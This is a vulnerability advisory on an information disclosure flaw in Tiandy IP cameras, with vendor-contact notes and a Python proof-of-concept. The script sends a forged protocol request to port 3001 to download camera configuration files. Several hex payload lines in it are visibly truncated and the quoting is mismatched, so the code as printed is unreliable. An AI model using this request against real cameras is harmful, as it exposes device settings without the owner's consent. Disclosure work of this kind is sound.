

SSD Advisory – Tiandy IP cameras Sensitive Information Disclosure

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Vulnerability Summary

The following advisory describes sensitive information Disclosure found in Tiandy IP cameras version 5.56.17.120

Tianjin Tiandy Digital Technology Co., Ltd (Tiandy Tech) is “one of top 10 leading CCTV manufacturer in China and a global supplier of advanced video surveillance solutions.”

Credit

An independent security researcher, Netfairy, has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program.

Vendor response

We tried to contact Tiandy starting from August 16 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for this vulnerability.

Vulnerability details

Tiandy uses a proprietary protocol, a flaw in the protocol allows an attacker to forge a request that will return configuration settings of the Tiandy IP camera.

Proof of Concept

By sending the following request, an attacker can download the following files:

- config_server.ini
- extendword.txt
- config_ptz.dat
- config_right.dat
- config_dg.dat
- config_burn.dat

```
1  POC.PY
2
3  import socket
4  ip = '192.168.1.1'
5  data1 =
6  "\x74\x1f\x4a\x84\xc8\xa8\xe4\xb3\x18\x7f\xd2\x21\x08\x00\x45\x00\x00\xcc\x3e\x9a\x40\x00\x40\x06\xd4\x13\xac\x10\x65\x75\x6e\x31\xa7\xc7\x43\x5b\x0b\xb9\x85\xbc\x1d\x
7  +
8  "\x18\x7f\xa4\xc6\xcf\x00\x00\xf1\xf5\xe4\xf5\x74\x00\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00' + ip +
9  "\x09\x50\x52\x4f\x58\x59\x09\x43\x4d\x44\x09\x44\x48\x09\x43\x46\x47\x46\x49\x4c\x45\x09\x44\x4f\x57\x4e\x4c\x4f\x41\x44\x09\x36\x09\x63\x6f\x6e\x66\x69\x67\x5f\x73\x6
10 +
11 "\x69\x6e\x69\x09\x65\x78\x74\x65\x6e\x64\x77\x6f\x72\x64\x2e\x74\x78\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x70\x74\x7a\x2e\x64\x61\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x7
12 +
13 "\x64\x61\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x64\x67\x2e\x64\x61\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x62\x75\x72\x6e\x2e\x64\x61\x74\x0a\x0a\x0a'
14
15 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
16 s.connect((ip,3001))
17 s.send(data1)
18 while True:
19     buf = s.recv(64)
20     if not len(buf):
21         break
22     print buf
```